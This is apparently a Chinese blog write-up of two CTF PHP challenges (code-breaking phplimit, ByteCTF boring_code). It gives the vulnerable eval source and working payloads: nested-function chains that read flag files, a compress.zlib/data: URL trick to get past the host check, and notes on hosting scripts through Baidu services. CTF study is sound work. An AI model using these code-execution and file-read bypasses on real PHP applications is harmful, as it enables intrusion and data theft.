循环嵌套函数GetShell

函数妙用

code-breaking_easy-phplimit函数的巧妙搭配

参考文章

Exp

1
2
eval(next(current(get_defined_vars())));&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

ByteCTF boring_code

参考文章

分析

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

1.第一步

第一步需要绕过preg_match的检测,网上见到的payload都是通过购买域名,url跳转等方法进行绕过。其实可以通过代码绕过。

我的方法

1
compress.zlib://data:@baidu.com/baidu.com,phpinfo()

compress.zlib绕过data协议的检测,@使data:被解释为用户名和密码,baidu.com/baidu.com中只要包含/就会被解释为合法的media-type

其他方法

  • 购买一个 xxxxbaidu.com 的域名

  • 百度网盘链接

    这种方法的思路是将恶意代码上传到百度网盘 , 然后通过百度网盘的下载链接来绕过 baidu.com 的主机名限制 .

    1. 将一个恶意脚本上传到百度网盘( 这里以 phpinfo() 为例 )

    2. 通过开发者工具( F12 ) , 在 network 选项卡中可以找到目标文件的链接

  • 百度贴吧(https://www.4xseo.com/marketing/1280/

  • 百度爬虫

    其原理大概就是 : 百度的搜索引擎爬虫会爬到你的个人站点 , 当你在百度上点击自己站点时 , 并不是直接访问 . 而是利用百度的重定向机制 , 将你的网址转换成http://www.baidu.com/link?url=xxxxxxxxxxxxxxx , 通过这个链接可以绕过第一层防御并且拿到你站点上的恶意脚本 .

2.第二步

我们要获取.,可以通过获取.的ascii码,然后通过chr函数得到。写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$functions=get_defined_functions()['internal'];

function getFucntionParameter1($func) {
$ReflectionFunc = new \ReflectionFunction($func);
$nums=$ReflectionFunc->getNumberOfRequiredParameters();
if ($nums===1){
echo $func."\n";
#@print_r($func());
#echo "\n#####\n";
}
}



foreach($functions as $vul){
if(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|readline/i', $vul)){

}else{
getFucntionParameter1($vul);
}
}

主要使用了反射检测函数的参数。

payload

  • crypt函数的返回值最后一位可能为.

    1
    if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
  • localeconv函数


循环嵌套函数GetShell
https://theganlove.github.io/2024/08/31/循环嵌套函数GetShell/
作者
uert
发布于
2024年8月31日
许可协议